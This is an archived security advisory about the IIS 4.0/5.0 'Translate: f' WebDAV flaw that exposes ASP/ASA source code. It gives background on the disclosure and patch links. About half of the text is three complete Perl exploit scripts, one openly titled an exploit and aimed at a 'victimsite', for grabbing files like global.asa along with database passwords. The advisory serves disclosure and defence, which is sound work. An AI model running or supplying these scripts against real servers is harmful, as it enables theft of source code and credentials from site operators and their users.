COMMAND
IIS
SYSTEMS AFFECTED
IIS 4.0, 5.0
PROBLEM
Daniel Doekal found following. Following relates to many of us,
because ignorancy of some webmasters running IIS (Internet
Information Server) 4.0/5.0 is somehow exceeding acceptable level.
During informal test done by his security team he has found that
MOST of IIS4/5 webs are vulnerable to NULL.HTW, +.HTR or
Translate:f security bugs - because of this, anybody can access
source code of scripts, grab passwords/names or locations to
Access MDB files. In dozens of cases Daniel was able to download
megabytes of databases containing anything from thousands of
e-mail adresses up to logon names with passwords (and as well
known, people are using the same password all over the Internet).
He has notified webmasters having such buggy webs, but
surprisingly, some of responses were lacking understanding and
their webs are open even weeks after he has discovered this.
If you are in need to test your site for these bugs, please feel
free to use
http://security.namodro.cz/urlcheck.asp?lang=en
Because Microsoft went the way of HIDING the actual mechanism of
Translate:f from all of us (original KB article is gone and new
Security Bulletin is playing nasty game of downplaying the
problem), Daniel Docekal has decided to write follow up with
sufficient information.
WebDAV implemented in Windows 2000 and Office 2000 (including
FrontPage 2000 and FrontPage 2000 Server extensions) is the source
of Translate:f problem.
When someone makes request for ASP/ASA (or any other scriptable
page) and adds "Translate: f" into headers of HTTP GET request
(headers are _not_ part of URL, they are part of HTTP request),
there is a serious security bug in Windows 2000 (unpatched by SP1)
that in return gives complete ASP/ASA code instead of processed
file (one has to add trailing slash "/" to end of requested url to
have this really working).
"Translate: f" is legitimate header for WebDAV, it is used as it
should be - adding this to HTTP GET is sign for WebDAV component
to really return SOURCE code of file and bypass processing. It is
used in FrontPage2000 and any WebDAV compatible client to get file
for editing. It has to be accompanied by some other information
which should not let anynone access sources. Unfortunately, there
is some mistake in coding, and simple adding of "only"
"Translate:f" and placing "/" at end of request to HTTP GET will
lead in security bug (which now plagues every second web tested
in URLcheck test at security.namodro.cz).
It is WINDOWS 2000 bug, but because of FrontPage Server Extensions
2000 installed even on IIS 4.0 sites, it is also IIS 4.0 bug.
Also worth of note is that MANY IIS 4.0 sites will exhibit
"Translate: f" bug when web files are stored on SHARED (network)
directory - this has been reported to secure@microsoft.com the
same time Daniel started bombing them with information that there
is BIG problem with "Translate: f" - and result of case at
secure@microsoft.com :
YES, IIS 4.0 is vulnerable, if files are located on shared
drive - in that case, please apply fix for "Virtualized UNC
Share" vulnerability (please see MS00-019 for fixes).
So even IIS 4.0 is _not_ safe from this problem.
"Translate: f" bug was first made public around 5th of June 2000,
at that time MS KB article Q256888 was released and was fully
describing the mechanism. At 6th of June, there was a POSTFIX
released as standalone EXE fixing the problem.
At that point someone at Microsoft made big mistake, instead of
releasing Security Bulletin and instead of notifying PREMIER
SUPPORT customers, they just left this only with one Q256888
article. And it appears that most IIS4/IIS5 admins are just NOT
checking Knowledge Base.
Then Service Pack 1 for Windows 2000 was released - the bug IS
fixed by applying SP1 - but it is obvious, that nobody is in big
hurry to apply SP1. Result is - many well know web sites are
having security problem and showing business logic including
passwords to databases.
After sending many, many, mails to Microsoft there is result - it
took TWO weeks to have new Security Bulletin out. And Daniel has
to say, that he is very disappointed. Microsoft is now HIDING the
"Translate:f" nature from all of us (KB Q256888 was pulled from
Knowledge Base) and Security Bulletin is downplaying the level of
problem we are dealing with.
Monah Khalil posted a perl script to test your servers for the
bug:
#!/usr/bin/perl
use IO::Socket;
$query="http://www.targetserver.com/index.asp";
# USING A PROXY SERVER
$host = 'proxy.yourdomain.com';
$port = 8080;
# USING A DIRECT CONNECTION
#$host = 'www.targetserver.com';
#$port = 80;
select STDOUT;
$| = 1;
select(STDOUT); $| = 1;
$handle = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $host,
PeerPort => $port, Reuse=>1)
or die "can't connect to port $port on $host: $!";
$handle->autoflush(1);
print $handle "GET $query\\ HTTP/1.0\nTranslate: f\r\n\n";
while ($line = <$handle>)
{$content = $content . $line;}
close $handle;
print "Content-type: text/plain\n\n";
print $content;
'smiler' posted his script:
#!/usr/bin/perl
# Expl0it By smiler@vxd.org
# Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 using a shared drive but I haven=B4t tested it yet.
# Get the source code of any script from the server using this exploit.
# This code was written after Daniel Docekal brought this issue in BugTraq.
# Cheers 351 and FractalG :)
if (not $ARGV[0]) {
print qq~
Geee it=B4s running !! kewl :)))
Usage : srcgrab.pl <complete url of file to retrieve>
Example Usage : srcgrab.pl http://www.victimsite.com/global.asa
U can also save the retrieved file using : srcgrab.pl =
http://www.victim.com/default.asp > file_to_save
~; exit;}
$victimurl=$ARGV[0];
# Create a user agent object
use LWP::UserAgent;
$ua = new LWP::UserAgent;
# Create a request
my $req = new HTTP::Request GET => $victimurl . '\\'; # Here is the backslash at the end of the url ;)
$req->content_type('application/x-www-form-urlencoded');
$req->content_type('text/html');
$req->header(Translate => 'f'); # Here is the famous translate header :))
$req->content('match=www&errors=0');
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
# Check the outcome of the response
if ($res->is_success) {
print $res->content;
} else {
print $res->error_as_HTML;
}
Below another PERL exloit; it does not require LWP::UserAgent.
It will also work for virtually hosted sites and can easily be
used against SSL sites (with the use of sslproxy). Typical use:
perl trans.pl www.the_iis5_box.com login.asp 80
For use against SSL sites:
1) sslproxy -L 127.0.0.1 -l 7555 -R IP_of_iis5_box -r 443 -v Class3.pem
2) perl trans.pl 127.0.0.1 login.asp 7555
Use at own risk/etc etc.
#!/usr/bin/perl
use Socket;
####test arguments
if ($#ARGV != 2) {die "usage: DNS_name/IP file_to_get port\n";}
#####load values
$host = @ARGV[0];$port = @ARGV[2];$target = inet_aton($host);$toget= @ARGV[1];
#####build request
$xtosend=<<EOT
GET /$toget\\ HTTP/1.0
Host: $host
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
Translate: f
EOT
;
$xtosend=~s/\n/\r\n/g;
####send request
#print $xtosend;
my @results=sendraw($xtosend);
print @results;
#### Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
SOLUTION
The "Translate" vulnerability to ASP source pages which Daniel's
page tests for can be patched by applying W2K SP1. MS have now
released the Hotfix (for those not deploying 76+MB W2K SP1) which
addresses the "Translate" issue:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23769
Shawn Hall pointed out that the fix was also included in the 9+MB
Exchange Server 2000 RC2 Rollup fix (beta) from June:
http://download.microsoft.com/download/win2000srv/Patch/Q262259/NT5/EN-US/Q262259_W2K_SP1_X86_EN.EXE
There had been a KB article in the MS Knowledgebase about this
issue since May/June, but it was subsequently pulled. MS had not
issued a Security Bulletin on the issue, but will be doing so
shortly. As a result this vulnerability may be widely known and
widely exploited.